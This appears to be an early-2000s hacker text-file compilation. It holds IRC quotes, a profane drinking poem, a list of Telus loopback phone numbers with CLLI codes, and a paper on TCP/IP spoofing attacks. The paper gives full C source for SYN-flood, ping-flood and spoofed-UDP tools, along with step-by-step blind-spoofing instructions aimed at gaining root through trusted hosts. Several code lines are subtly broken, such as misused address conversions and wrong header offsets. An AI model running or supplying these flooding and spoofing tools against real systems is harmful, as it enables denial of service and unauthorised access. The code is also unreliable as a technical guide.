<theclone> that would be sad. I remember in grade 7 we had to take sewing classes with home Economics and some kid
poked his hand with a needle and his little pillow was never finished
<kan_snore> lol
<theclone> the early 1990's were a confusing time for all of us.
---
"Take a shot for every province in Canada in a row."
by "drunk ass" Kybo: sept 20 2003
shot #1: "to bc; your dope is fun but your egg rolls scare me."
shot #2: "to alberta; Fuck sakes... I stick my big toe in his bum if you don't stop with the linux humhum."
shot #3: "to saskatchewan; nutin' good about your province, you're a rectangular. I try to fuck your mother but she's
angular
shot #4: "to winnipeg (not manitoba); fuck the rest of the province... there's nothing ainit."
shot #5: "to ontario; I don't know why people live there, it's fucking stinkyo. p.s. cornwall sucks."
"... shut up dad."
shot #6: "To quebec; tabarnaque calise de st-saint-sacremenp de fucker taboly."
shot #7: "New brunswick; you bitches a hoes, don't rememba to shovel my snow. Jackel fuck off"
shot #8: "Nova Scotia; you wemens is easy so draw me a map pleasy."
shot #9: "Newfoundland; dfri9fr89890ui0ui90ui90jkogfjkoti5u9012rhj8iwgfnhjohqwhjyu12348ywf... what the crap was that,
bi-ot-tch."
shot #10: "PEI; Fuck all ya'll, you're fired. And you smell like cheese whiz. THE END."
---
<kankan> HAHAHA! well... i eat chicken at my computer(which is on the floor, till next week) {shaving creates super
itch) and pubes are everywhere if you look, its scary
---
TELUS DIGITAL LOOPBACK NUMBERS
(with corresponding CLLI data!)
by -> Anonymous Phone Hero
Date -> Saturday, Aug 30, 2003
Airdrie- ARDRABO2DS0- 948 9099
Banff- BNFFAB01CG2- 762 9099
Bonnyville- BNVLAB03CG1- 826 9199
Calgary Main- CLGRAB01CG2- 530 9099
Camrose- CMRSAB06DSO- 672 9099
Drumheller- DMHLAB01CG0
Ft Macmurray- FTMMAB03DSO- 743 2324
Ft Saskatchewan- FTSKAB01CG01- 992 9099
Grand Prairie- GDPRAB01DSO- 823 1199
High Level- HILVAB01CG0- 9269099
Hinton- HTHNAB02DSO- 865 9099
Lethbridge- LTBRAB01CG1- 382 2999
Lloydminister- LLYDAB01CG1- 871 9099
Medicine Hat- MDHTAB02CG1- 528 6999
Peace River- PCRVAB01CG0- 624 9199
Red Deer- RDDRAB01CG1- 341 8999
Sherwood Park- SWPKAB01DSO- 464 9099
Slave Lake- SELKAB01CG2- 849 9099
St. Albert- STALAB01DSO- 460 9099
Stettler- STRLAB01CG0- 742 9199
Vegreville- VGVLAB01DSO- 632 9199
Wainwright- WNWRAB01CGO- 842 9099
Wetaskawin- WTKWAB02CG0- 361 9099
.eof
---
<Senorita> oh clonie, ur so bad
<Senorita> u rival the powerglove
* theclone blushes
---
**************************************************************
* TCP/IP VULNERABILITIES AND WEAKNESSES *
**************************************************************
by shaun2k2
--[ INTRODUCTION ]--
The intent of this paper is to explain and explore the various serious
vulnerabilities in the TCP/IP suite, and IPv4 itself. I assume you have a
working knowledge of UNIX-like systems and know a *little* about networking.
I will first start with essential IP background knowledge, and then move onto
various vulnerabilities in TCP/IP.
[SECTION I - BACKGROUND KNOWLEDGE]
--[ 1.0 INTERNET PROTOCOL - ANATOMY / THEORY ]--
The Internet Protocol, also widely known as 'IP', is a connectionless,
semi-reliable Network protocol, originally developed by the U.S military
intended to be a usable network topology for its internal communications. IP
provides a layered protocol structure for Network communications. In this
structure, each protocol provides a sort of function to the layer above it (see
below).
The TCP/IP suite consists of 4 main protocols, within itself:
* IP
* TCP
* UDP
* ICMP
Although IP is the most important of protocols in this list, it cannot by itself
do much, such as make connections. This is where the "Transport-layer"
protocols come in, such as TCP and UDP, whilst the "Network Protocols" (IP,
ICMP) do the slightly lower-level stuff.
Arguable the most important and most widely used transport protocol is TCP, and
probably shall be for a while to come.
I will below briefly describe the basic purposes for each protocol, their
characteristics, and their common misconceptions.
--] 1.1 PROTOCOLS - IP
This is the backbone protocol of the entire TCP/IP suite. However, it cannot do
much on its own. IP uses 32-bit packet headers to store address data, and is
the busiest protocol included in the TCP/IP suite. One major security flaw
within IP itself (this security flaw is one of the main ideas used in this
paper) is the fact that the IP protocol stack does not verify the supplied
"source address", and just assumes that the packets "source address" is the
proper valid one. As you can see, this is a major flaw.
IP packets usually contain quite a few flags, and other important bits of data.
These I will explain later below.
--] 1.2 PROTOCOLS - TCP
TCP stands for "Transmission Control Protocol" and is the most commonly-used and
most popular transfer-level protocol included in the TCP/IP protocol suite. TCP
is VERY general purpose, and used for most modern network daemons distributed
across the Internet. The TCP protocol first requires that a connection is
established between two hosts, before any real communication can take place (see
the "TCP/IP - The Three-Way Handshake" below). TCP is a very reliable transfer
protocol, which is one of the reasons it remains the most popular transfer
protocol in wide-use, and ensures always that all data sent arrives in the
correct order, and not jumbled up. TCP is also a very fast protocol, so
combined with the above information, it is easy to see that TCP is an ideal
protocol in itself, but contains its own problems related to security. You will
learn about many of these later.
TCP/IP packets contain quite a few headers and flags, which I will attempt to
explain in a little detail later, focusing on their prime purposes and
attributes.
--] 1.3 PROTOCOLS - UDP
UDP is a connectionless protocol, and stands for "User Datagram Protocol", which
unlike TCP, DOESN'T guarentee that all data sent arrives in the correct order at
all. Also unlike TCP, UDP does not actually guarentee the receipt of data sent
at all, and it can be downright annoying when data goes missing, a
nd packets are
not received, along the way.
Although TCP IMHO outranks UDP by far, UDP does still have its advantages; UDP,
although is pretty unreliable, is fast. Very much faster than TCP, infact.
Faster enough to the extent that developers when writing certain programs
sacrafice the slight possibility that data might not arrive sometimes to gain
the advantage of speed in their Network applications. One common example of
this is in games.
UDP is actually quite a simple protocol, and datagrams contain no flags or
sequence numbers.
--] 1.4 PROTOCOLS - ICMP
ICMP - ICMP, which stands for "Internet Control Message Protocol", is also a
connectionless protocol. Possibly the most common use for ICMP is
error-checking. For example, if a user sends a UDP datagram to a host, and the
remote host is not running a Network daemon on the port the datagram was
addressed to, the remote host will send out an ICMP packet, with Type code 3
set, Destination Unreachable (ICMP_UNREACH).
ICMP is a "Network Protocol", which is on the same level as IP, at a lower level
than transmission level protocols, such as UDP and TCP.
Another very common use for ICMP packets is to see if a host is up, aka ping.
--] 1.5 INTERNET PROTOCOL - PORTS
Ports are basically, with technically sucked out, a user interface, used by the
kernel to identify network processes at any time. Together with an IP address,
a port provides a specific destination process on an IP connected host to
deliver an addressed packet to. Ports are, however, strictly transport-protocol
level only, in other words IP itself has nothing much to do with them.
Ports are used only in Higher-level protocols (transfer protocols), namely TCP
and UDP. You will often hear the phrase "Well-known ports" during discussions
of ports. The port range 1-1023 are the "well-known ports", and are usually
restricted so that only root (or the administrator) can bind to them. Any port
1024 ad onwards can be used by any user, as long as they are not already in use.
Processes bound to ports are usually described as "Network daemons" or
"daemons". They are the programs which provide specific services to the client
host during a TCP or UDP connection between two hosts.
--] 1.6 TCP/IP - THE THREE-WAY-HANDSHAKE
Before two hosts can communicate via a TCP/IP connection, a connection of
"trust" must first be established, as a means of communication. The TCP
connection establishment process is divided in three parts, also known as "The
three-way-handshake". I will attempt to explain this process in a little
detail:
******************************************
CLIENT: SYN (ISN A) -> SERVER
SERVER: SYN (ISN cool.gif, ACK (ISN A + 1) -> CLIENT
CLIENT: ACK (ISN B + 1) -> SERVER
******************************************
At this point, the connection is now established, and either hosts can proceed
in sending data back and forth between the newly established connection. I will
give a quick explanation of what the client and server were doing.
First, the CLIENT host sent a TCP/IP packet, with the SYN flag set, which tells
the destination host that it wants to open a connection with it. Included in
this packet is the CLIENT's ISN (Initial Sequence Number).
The SERVER receives this connection request, and replies with a packet with the
SYN flag set (SYNchronise flag), along with the ACK flag, to ACKnowledge the
receipt of the first SYN packet. In the packet, the SERVER sets the ISN
(Initial Sequence Number) accordingly ("randomly"), and sets the ACKnowledgement
number as the CLIENT's ISN + 1.
To complete the connection, the CLIENT host responds to the SYN|ACK packet with
it's own ACK packet, to ACKnowledge the receipt of the previous packet, and sets
the ACKnowledgement number as the SERVER's ISN + 1.
From that point onwards, from when the connection is sent into the state
"ESTABLISHED", every packet sent from either of the two party hosts must have
the ACK bit set, to ACKnowledge previously sent packets.
--] 1.7 TCP/IP - THE FOUR-WAY-HANDSHAKE
What goes up, must come down. Eventually, a TCP/IP connection between two hosts
must be closed. To do this, the two hosts alternatively use a
"four-way-handshake", just as a "three-way-handshake" is used to initiate a
connection. Here is the sequence of packets sent:
******************************************
CLIENT: FIN (SN) -> SERVER
SERVER: ACK (SN + 1) -> CLIENT
SERVER: FIN (SN) -> CLIENT
CLIENT: ACK (SN + 1) -> SERVER
******************************************
The connection, given a few seconds (usually 30-120 seconds), will be brought to
a complete close. As you can probably gather what is happening, I will give
only a brief explanation of what is happening:
The CLIENT (or SERVER, for that matter) sends a FIN packet to the SERVER (to
tell it that it has FINished sending data), with the correct sequence number.
The SERVER then sends a responding packet back, with the ACK bit set, to
ACKnowledge the receipt of the packet, with the ACK number as the SN (Sequence
Number) + 1.
The SERVER then proceeds to send another packet, this time one with the correct
sequence number set, and the FIN flag set.
To finish off the four-way-handshake, and to close the connection, the CLIENT
sends an ACK packet, with the ACK number as the SERVER's SN + 1.
--] 1.8 TCP/IP - PACKET FLAGS
As explained above, hosts send packets to one another with various different
flags set, to do various different things, at various different times. Some
examples of these flags are SYN, ACK and FIN. I attempt below to list all of
the flags and flag combinations used in TCP/IP connections, and their purposes:
******************************************
* SYN - This is the first packet in a connection, indicating to the server host
that it wants a connection with it.
* ACK - The ACK flag is used throughout the entire connection to ACKnowledge
previously received packets. Examples include ACKnowledging a SYN packet, or a
packet containing important data just received.
* FIN - This flag is used to indicate to the other host that they are FINished
sending data, and that the connection can be consequently ended.
* RST - The RST packet is sent whenever the host receives an unexpected packet,
such as an ACK with out ever receiving a SYN. This resets the connection, and
the two hosts can reconnect, if needed.
* SYN|ACK - This combination of flags is used to ACKnowledge s received SYN
packet, and to send it's SYN information to the remote host.
* FIN|ACK - The FIN|ACK flag combination is used to ACKnowledge the received FIN
packet, and to complete the connection closing sequence.
* URG - This flag is seldom used in any legimate connection. It's actual
purpose is to indicate that the contained data is URGent.
* PSH - The PSH flag is also seldomly used in legimate connections too. It's
purpose is to flush all queued data.
******************************************
As you can see, there are many packet flags, some used more than others. You
will learn more about these later, when I explain various vulnerabilities in the
TCP/IP suite.
--] 1.9 TCP/IP - PACKETS
In IP packets, there are various important and essential pieces of data in a
packet, depending on what protocol a packet belongs to (e.g ICMP, TCP etc...).
Below I attempt to explain various important things in each type of
packet/datagram.
* IP - There are a lot of headers in the IP section of a packet. Some of the
essential ones include: source address, destination address, TOS, TTL, packet
ID, protocol (i.e TCP or UDP), IP version (4 obviously), packet length, the
checksum, and the IP header lengths. These need to be set in every
packet/datagram/segment sent, be it TCP, UDP or ICMP.
* TCP - In the TCP protocol, the important things in a packet are the essential
IP packet headers, and various TCP specific headers and flags. These include:
source port, destination port, header lengths, the sequence number, the ACK
number, the checksum and various other flags.
Here is a diagram to illustrate the basic format of a typical TCP packet:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ACK Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Offset |(reserved) | Flags | Window |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | URG Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Packet Options (Padding) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User Data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* UDP - As well as TCP, UDP datagrams need the IP packet headers and flags set,
and then the UDP specific ones set. The important ones are: source port,
destination port, the checksum and header lengths.
Here is what a typical UDP datagram looks like:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Length | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User Data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
As I said earlier, there are only a few things that a UDP packet holds, as UDP
is a very simple connectionless protocol, thus needs to transfer less
information in it's datagrams.
* ICMP - Again, as in every IP packet, the IP packet headers and flags are
once again needed. There is only three things that need to go in an ICMP
packet: message type, code and checksum. The type specifies what type of ICMP
request it is, e.g ICMP_ECHO (ping).
--] 2.0 FURTHER READING
I hope I have given at least a very brief overview of TCP/IP, and it's
components. I suggest some further reading on the subject, to widen your
knowledge on the subject.
Here are some recommended links:
TCP/IP References
******************
http://www.phrack.org/phrack/33/P33-08
http://www.phrack.org/phrack/34/P34-08
http://www.cisco.com/univercd/cc/td/doc/ci.../ito_doc/ip.htm
http://www.cisco.com/warp/public/535/4.html
http://www.garykessler.net/library/tcpip.html
http://www.acm.org/crossroads/xrds1-1/tcpjmy.html
TCP/IP Vulnerabilities and Weaknesses References
*************************************************
http://www.phrack.org/phrack/49/P49-07
http://www.ja.net/CERT/Bellovin/TCP-IP_Sec...y_Problems.html
http://staff.washington.edu/dittrich/talks/agora/
http://islab.oregonstate.edu/koc/ece478/pr...t/2000RP/LV.pdf - A white paper in
PDF format.
[SECTION II - ATTACKS]
--[ 1.0 ATTACKS - IP SPOOFING ]--
Due to bad designing of the TCP/IP suite, it is almost trivial to spoof a packet
apparently originating from a host that is NOT you. The term 'IP spoofing' can
be used to describe any process in which a person fakes, or "forges" a packet to
look like it came from elsewhere, often a "trusted" host. The ability to spoof
IP packets, and the fact that IPv4 does NOT check the validity of the source
address and source port in a packet's headers is one of the MAIN vulnerabilities
in the TCP/IP protocol suite.
There are various types, and various techniques attackers might use when
attempting to spoof packets, or better, spoof a connection. IP spoofing can be
used in two main ways: to cause DoS, or to gain access to a system as a
"trusted" host. I will describe various methods and ways of doing so.
--] 1.1 ATTACKS - SYN FLOODING
As explained earlier, when a host wants a connection, they send an initial SYN
packet to the host that they want to form a connection with. The host then
replies to the apparent SOURCE ADDRESS with the SYN|ACK packet, and so on. From
the moment the server host sends the SYN|ACK packet to the originating source
address of the SYN packet, the connection request is placed onto the kernel's
TCP/IP stack UNTIL it receives the final ACK packet from the client host. But
what if, for instance, that the server host never did receive the final ACK
packet from the originating source address of the connection request? And what
if A LOT of connection requests were made? Wouldn't they keep getting placed
onto the kernel's TCP/IP stack? Yes! This is a major flaw in TCP/IP, partially
due to bad design. Obviously, the connection requests are discarded after a
shortish amount of time, but it is very easily possible to saturate a hosts
resources via a SYN flooding attack. I will now attempt to explain how this
attack works.
Host C (for Client) sends a SYN packet to host S (for Server) to request a
connection, with a SPOOFED source IP address. Host S then replies to this
packet, with a SYN|ACK packet, replying to the SPOOFED address. The connection
request is then placed on the stack until a final ACK is received. But since
the source address of the SYN packet was SPOOFED, the Host S (the server) will
NEVER receive an ACK packet, because the host who it sent a SYN|ACK packet to
doesn't even exist, so the connection requests stay on the stack! And in a SYN
flooding attack, an attacker sends literally hundreds if not thousands of
packets a minute, so with all of these thousands of unanswered connection
requests sitting on the stack, Host S could be brough to it's knees as it's
resources and starved and it's process table is saturated. On some platforms,
the machine can be brough to almost a total lockup, and the CPU utilisation can
be RAISED dramatically to 100%.
This has become a very popular and effective DoS attack, as it is a pretty easy
DoS attack to launch with pre-built tools, and requires minimal knowledge of the
victim host.
Here is a basic diagram of what would be happening during a SYN flooding attack:
******************************************
Host X: SYN (ISN A), SRC (Z) -> Host S
Host S: SYN (ISN), ACK (A + 1) -> Host Z (non-existant)
...Connection request put on stack...
******************************************
Because of not getting replies to these (thus taking them off the stack), Host S
soon gets pretty bogged down, as described above.
Below I provide a minimal piece of C code I wrote, that performs a SYN flooding
attack on a specified host, with a spoofed source address, obviously. This code
is only provided as an example of how such an attack could be implemented into a
program:
*************************************CUT HERE**********************************
/* To keep code as small as possible, I haven't included a checksum, which may
* result in some packet loss. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <host> <port>\n", argv[0]);
printf("Synflood was written by shaun2k2 - shaunige@yahoo.co.uk\n");
exit(-1);
}
int sock;
char packet[4096]; /* Datagram. */
struct sockaddr_in dest;
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
struct hostent *he;
if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve hostname!\n");
exit(-1);
}
if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
printf("Socket failed!\n");
printf("Must be root to make raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_port = htons(atoi(argv[2]));
dest.sin_addr = *((struct in_addr *)he->h_addr);
memset(packet, 0, 4096); // Zero out packet.
// Fill in IP headers.
ip->ihl = 5;
ip->version = 4;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htons(1337);
ip->saddr = inet_addr("127.0.0.1");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->ttl = 255;
ip->protocol = 6;
ip->check = 0;
ip->tos = 0;
ip->frag_off = 0;
// Fill in TCP headers.
tcp->source = htons(1337);
tcp->dest = htons(atoi(argv[2]));
tcp->seq = htons(random());
tcp->ack = 0;
tcp->syn = 1;
tcp->window = htons(65535);
tcp->check = 0;
tcp->doff = 5;
tcp->rst = 0;
tcp->psh = 0;
tcp->fin = 0;
tcp->urg = 0;
tcp->ack_seq = htons(0);
printf("Syn flooding: %s!\n", argv[1]);
/* Insert some more fork()'s in here, if you want. */
fork();
fork();
while(1) {
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct
sockaddr));
}
return(0);
}
*************************************CUT HERE**********************************
--] 1.2 ATTACKS - PING FLOODING (ICMP flooding)
Over the years, along with SYN flooding, Ping flooding is arguably one of the
most popular DoS attacks among script kiddies on the Internet. Ping flooding
too is a very simple attack. All that is involved is sending a continuous
stream of ICMP_ECHO packets (also known as "Ping Packets").
When doing this attack, the attacker is at quite a bit advantage if he/she has a
faster Internet connection than the victim. I will attempt to explain below how
a ping flooding attack works.
Host X (the attacker) sends a continuous stream (or as many packets as possible)
of ICMP_ECHO packets (ping packets) to Host S (the server host), as fast as they
can. Since Host X (the attacker) continuously sends ICMP packets without
waiting for a reply from a spoofed address, Host S is effectively severely
bogged down with the process of responding to the spoofed ping requests. The
packets are sent so fast, and so many are sent that eventually sometimes Host S
is forced to devote ALL 100% CPU utilisation to the responding of the ICMP
packets.
The reason the attacker spoofs the source address of the packets is because if
they didn't, they would become bogged down also, with receiving all of those
ICMP_ECHO reply packets. It is also an anonimity measure of the attacker, so
that Host S cannot log the IP address and report them to their ISP.
As I said, it is indeed a VERY simple DoS technique, but yet a VERY effective
one. This is one of the primary reasons it is a favourite of common
script-kiddies. I will again provide some source code as an example of how ping
flood attacks are often implemented into programs:
*************************************CUT HERE**********************************
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
int sock;
char packet[5000];
char r[5000];
struct sockaddr_in dest;
struct hostent *host;
struct iphdr *ip = (struct iphdr *) packet;
struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr);
if((host = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve host!\n");
exit(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
printf("Couldn't make socket!\n");
printf("You must be root to create a raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)host->h_addr);
ip->ihl = 5;
ip->id = htons(1337);
ip->ttl = 255;
ip->tos = 0;
ip->protocol = IPPROTO_ICMP;
ip->version = 4;
ip->frag_off = 0;
ip->saddr = htons("1.3.3.7");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
ip->check = 0;
icmp->checksum = 0;
icmp->type = ICMP_ECHO;
icmp->code = 0;
printf("Ping flooding %s!\n", argv[1]);
fork();
fork();
while(1) {
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct
sockaddr));
}
return(0);
}
*************************************CUT HERE**********************************
--] 1.3 ATTACKS - BLIND SPOOFING ATTACKS
Now onto the good stuff. The term "blind spoofing" is usually used to describe
IP spoofing that will get you access to a system as a trusted host, but more
specifically, it means that ALL IP spoofing is blind (even our DoS IP spoofing
techniques above, but we don't need to know what's going on in a DoS attack
anyway), and it is.
By this, it means that we don't know exactly what's going on, and we don't know
immediately if what we've attempted has worked. We explore two kind of types of
blind IP spoofing: Sequence Number Prediction Attacks, and just single packet
spoofing attacks.
Sequence Number Attacks allow you to brute force or take educated guesses at the
SERVER's SYN|ACK packet's Sequence number, and thus form a connection, whereas
ordinary packet spoofing just allows you to send a spoofed packet on it's own
(maybe useful when spoofing a packet to a UDP port, or spoofing an ICMP
request).
--] 1.3.1 ATTACKS - BLIND SPOOFING ATTACKS - SEQUENCE NUMBER PREDICTION
This is the ultimate attack in IP spoofing, to gain a connection with a host,
pretending to be another host, preferably a trusted host. All that is required
is that the attacker can predict the sequence number of the server host's
SYN|ACK packet after sending a SYN packet, but this is not as simple task as
somebody might think.
First, there's the issue of actually guessing the sequence number of this packet
of interest, and secondly, there's the issue of the host you are spoofing of
answering to the SYN|ACK packet, and sending a RST (reset connection) packet
because it was not expecting the SYN|ACK packet. The second problem is actually
simpler to deal with. A classic method of preventing the spoofed host from
replying to the SYN|ACK packet with a RST is by SYN flooding it (see above for
details). Now onto how to solve our first problem.
There are three main ways that server's generate their sequence numbers. and
thus three main ways of taking an educated guess at the sequence number of the
server's SYN|ACK packet. I explain them briefly below:
The 64k technique
******************
Old Operating Systems use a strange, but easy to guess technique of generating
it's Sequence numbers. They use this simple set of rules:
* Increment the Sequence Number counter EVERY second by 128000.
* Everytime a new connection is formed, increment the Sequence Number counter by
64000.
If you think about it, if you came across an old Operating System which still
uses this method, it would be rather easy to spoof a connection.
Some Operating Systems which use this simple method include some very old
versions of SunOS, and some other oldish OSes.
Time incrementation technique
******************************
Some Operating Systems use a method of generating Sequence Numbers. The
technique used is again very simple, and thus pretty easy to break. It works
like this:
"The Sequence Number counter is incremented by 'x unit_of_time'"
This means that the Sequence Number counter is increased by 'x' every
'unit_of_time'. For example, of some old Linux kernels, the Sequence counter
might be increased 1 every microsecond ('1 usec' in this case).
Modern techniques
******************
More modern Operating Systems (VERY modern) now use random number generators to
generate Sequence Numbers. This makes the Sequence Number VERY hard to guess,
almost impossible sometimes, perhaps.
Now, onto the theory of how an attack could be done:
The 64k technique
******************
All that an attacker would need to do is verify that the server host actually
uses this method. This could be done by sending a packet (NOT spoofed) to the
host, and examining the Sequence number, repeating the process and seeing if
added together they can be divided by 64000 (I'm no math genious, but I'm pretty
sure that would work as a way of figuring out if the host uses that method).
Now that we are sure it uses that method, onto how we could exploit it to get a
connection, which looks like it's from "trusted" host, Host T.
* DoS Host T so that it does not respond to received packets with a RST (because
it wasn't expecting packets from Host S (server)).
* Send a packet to Host S (server), which is NOT spoofed.
* Get the Sequence Number from the received packet, and from that, calculate the
following:
GUESS = SEQ + 64000
* Now, you need to start a new connection. Spoof a SYN packet from Host T
(trusted host).
* Wait, and then send an ACK packet spoofed from Host T, with the ACK number set
to GUESS + 1.
In theory, you should now have a spoofed connection between Host T, and Host S,
which you can now use to pretend to be Host T, and get access to everything Host
T has access to. An example of when this would be useful is when you want to
gain access to somebodies shell via rlogin. Just say that Host S has a .rhosts
file with the contents "root HostT". Host T is trusted, and automatically let
in as root. If we did the above to spoof an rlogin session, theoriotically we
have cracked root on Host S.
One question that comes to mind now is "but how can we reply to Host S with ACK
packets if we don't know when it has sent them?". This is not so much of a
problem as one might initially think. After a certain amount of time
("timeout") it will attempt to do a re-transmission of the data, and if then it
doesn't receive an ACK packet from Host T, it will not send anymore data, but
will still process your sent packets!
Time Incrementation techniques
*******************************
If the system is using this method, it makes the job of the attacker
considerably harder.
The same as above is done, but with a slight variation, obviously:
* DoS attack Host T, so that it does not respond with RST packets. Classically,
a SYN flooding attack is used.
* Predict the correct Sequence Number (information below).
* Send a SYN packet to Host S, spoofed from Host T, to request a connection.
* Wait, and send an ACK packet, with the ACKnowledgement number as the predicted
Sequence Number + 1.
Theoreotically, there is now a connection between Host T, and Host S (server),
that you can now use to pretend to be Host T (the trusted host), and access
anything that Host T is allowed to access.
However, as you may have realised, the main problem is actually guessing the
correct Sequence Number. Since Host S is using this method of generating
Sequence Numbers, it will be significantly harder than the previous method
explained above (the 64k method).
Virtually the only way you can guess the correct Sequence Number via Blind
spoofing (i.e you cannot see the packets, and thus examine them) is by brute
forcing. One notable thing about the server host's reaction to wrong Sequence
Number guesses is the fact that on some Operating Systems when a Sequence Number
larger than the real one is sent, a RST packet is sent by the server host.
--] 1.3.2 ATTACKS - BLIND SPOOFING ATTACKS - SEQUENCE NUMBER PREDICTION TOOLS
There are many tools out there, most of them for free, availiable to assist an
attacker whilst attempting to perform a blind spoofing attack. One of the most
useful ones is "SEQ-scan" which sends SYN packets to a target host, and from the
received SYN|ACK packet's Sequence Numbers determines an educated guess at what
the next sequence number would be.
SEQ-scan can be used to determine the correct Sequence Numbers for both the old
64k Sequence Number generation technique, and the time related generation
techniques.
SEQ-scan is availiable here:
http://www.thenewbiesarea.com/texts/anonym...ipspoofing2.htm
Some other good Sequence Number prediction tools include:
Mendax - http://rootshell.com/archive-j457nxiqi3gq5...endax_linux.tgz
DSniff - http://www.monkey.org/%7Edugsong/dsniff/
Spoofit.h - http://www.thenewbiesarea.com/texts/anonym...ipspoofing1.htm
(bottom of the page).
--] 1.3.3 - ATTACKS - BLIND SPOOFING ATTACKS - PACKET SPOOFING
Sometimes attackers don't actually NEED a connection with a server host, rather
they just need to spoof a single packet, to do a certain thing. In this case,
it is very much easier than the above spoofing technique above, Sequence Number
Prediction. In this case, all an attacker needs to do is inject a
packet/datagram/segment, and set a fake source address. As you can probably
see, this is quite a big flaw and security vulnerability in TCP/IP, as the
TCP/IP suite makes absolutely no attempt at verifying that the supplied source
address is actually the real one. Below, I will explain how an attacker could
use this flaw to his/her advantage.
Say for example that there is a game which allows you to play against somebody
over the Internet, but instead of using the TCP protocol for transfering the
data to each opponent, it uses UDP for extra speed. Just say for example that
the author of the game wrote a little routine that made the play quit/submit the
game if they send the string "LOSE" in the UDP datagram, and this option is
accessed via a little menu on the game.
All an attacker has to do to make his opponent lose the game is spoof a UDP
datagram to appear that it has originated from your opponent, and inject the
string "LOSE" into it. Here is a basic diagram of what would be happening
during one of these packet spoofing attacks:
******************************************
Host X: SRC (Host C), DATA ("LOSE") -> Host S
...Host S closes the session, and Host C loses the game...
******************************************
The datagram sent by Host X (the attacker) had a spoofed source address,
pretending to be from Host C (the opponent). The game server received the
datagram, and presumed it was from Host C, and consequently ended the game,
leaving Host X as the winner.
This does not seem like a huge security flaw, but what if this was a login
server we were attacking, which the author had written to just automatically
execute commands specified by the sender just by checking that the source
address was right? Then the system would be at risk.
Below is a minimal piece of C code I have written , just as an example of how
such an attack could be implemented into a program:
*************************************CUT HERE**********************************
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
int sock;
char packet[5000];
char msg[50] = "LOSE";
int msglen = strlen(msg);
struct sockaddr_in dest;
struct hostent *host;
int sport = 1337;
struct iphdr *ip = (struct iphdr *) packet;
struct udphdr *udp = (struct udphdr *) packet + sizeof(struct iphdr);
if((host = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve host!\n");
exit(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
printf("Couldn't make socket!\n");
printf("You must be root to create a raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)host->h_addr);
dest.sin_port = htons(1024);
ip->ihl = 5;
ip->id = htons(1337);
ip->ttl = 255;
ip->tos = 0;
ip->protocol = IPPROTO_UDP;
ip->version = 4;
ip->frag_off = 0;
ip->saddr = htons("1.3.3.7");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
ip->check = 0;
udp->source = htons(sport);
udp->dest = htons(dest.sin_port);
udp->len = htons(msglen + 8);
memcpy(packet + sizeof(ip) + sizeof(udp), msg, msglen);
printf("Sending UDP datagram.\n");
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct
sockaddr));
return(0);
}
*************************************CUT HERE**********************************
